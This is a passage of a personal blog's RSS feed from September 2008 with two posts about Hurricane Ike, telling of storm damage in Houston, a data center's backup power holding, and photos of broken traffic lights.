		<title>I don&#8217;t like Ike!</title>
		<link>http://rootit.org/2008/09/i-dont-like-ike/</link>
		<comments>http://rootit.org/2008/09/i-dont-like-ike/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 07:13:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=45</guid>
		<description><![CDATA[Well I take back having said that this storm will not be a problem. My apartment still does not have electricity and I&#8217;ve lived at the office for the last 3 days. Houston has lots of damage. WEDGE tower which houses DC1 and our offices (including mine) had wind damage and lost many windows, but [...]]]></description>
			<content:encoded><![CDATA[<p>Well I take back having said that this storm will not be a problem. My apartment still does not have electricity and I&#8217;ve lived at the office for the last 3 days. Houston has lots of damage. WEDGE tower which houses DC1 and our offices (including mine) had wind damage and lost many windows, but none on our floors!<span id="more-45"></span></p>
<p style="text-align: center;"><a href="http://rootit.org/gallery/main.php?g2_itemId=6148&amp;g2_imageViewsIndex=0"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6150&amp;g2_serialNumber=2" alt="WEDGE Tower at Louisiana St" /></a></p>
<p>Our primary data center and office at which we stayed (DC2) sustained no damage at all! We only lost power from our primary grid and backup power held until we were switched over to the other grid! We still have AC, food, water and Internet!</p>
<p style="text-align: center;"><a href="http://rootit.org/gallery/main.php?g2_itemId=5883&amp;g2_imageViewsIndex=0"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=5885&amp;g2_serialNumber=2" alt="DC2 at Fannin &amp; Clay" /></a></p>
<p style="text-align: left;">There is also plenty of damage to Houston itself. Yesterday morning I drove from downtown Houston to the Westchase District of Houston and found destruction everywhere along the way. Most stop lights are dead and even physically damaged. Light poles are facing the wrong way. Street signs have been turned around. Many roads are still flooded, but my little Camaro heroically made it through!</p>
<p style="text-align: center;"><a href="http://rootit.org/gallery/main.php?g2_itemId=6003"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6005&amp;g2_serialNumber=2" alt="Broken lights" /></a><a href="http://rootit.org/gallery/main.php?g2_itemId=6018"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6020&amp;g2_serialNumber=2" alt="rogerdale light post points wrong way" /></a><a href="http://rootit.org/gallery/main.php?g2_itemId=6048"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6050&amp;g2_serialNumber=2" alt="light is down" /></a><a href="http://rootit.org/gallery/main.php?g2_itemId=6178"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6180&amp;g2_serialNumber=2" alt="the little camaro that could!" /></a>
<p style="text-align: left;">There are many more photos in my gallery!</p>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/09/i-dont-like-ike/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hurricane Ike</title>
		<link>http://rootit.org/2008/09/hurricane-ike/</link>
		<comments>http://rootit.org/2008/09/hurricane-ike/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 07:59:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=39</guid>
		<description><![CDATA[Hurricane Ike is about to make landfal on Texas. I&#8217;m currently located in Houston, Texas and everyone is so excited about Ike that grocery stores are out of&#8230; bananas! I&#8217;m going to be spending the weekend at the office if the hurricane does end up hitting hard. I&#8217;m not sure it will and I&#8217;ll post [...]]]></description>
			<content:encoded><![CDATA[<p>Hurricane Ike is about to make landfal on Texas. I&#8217;m currently located in Houston, Texas and everyone is so excited about Ike that grocery stores are out of&#8230; bananas! I&#8217;m going to be spending the weekend at the office if the hurricane does end up hitting hard. I&#8217;m not sure it will and I&#8217;ll post as it progresses!<span id="more-39"></span></p>
<p style="text-align: center;"><a href="http://rootit.org/gallery/main.php?g2_itemId=5710&amp;g2_imageViewsIndex=3"><img class="aligncenter" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=5710&amp;g2_serialNumber=1" alt="" width="400" height="268" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/09/hurricane-ike/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
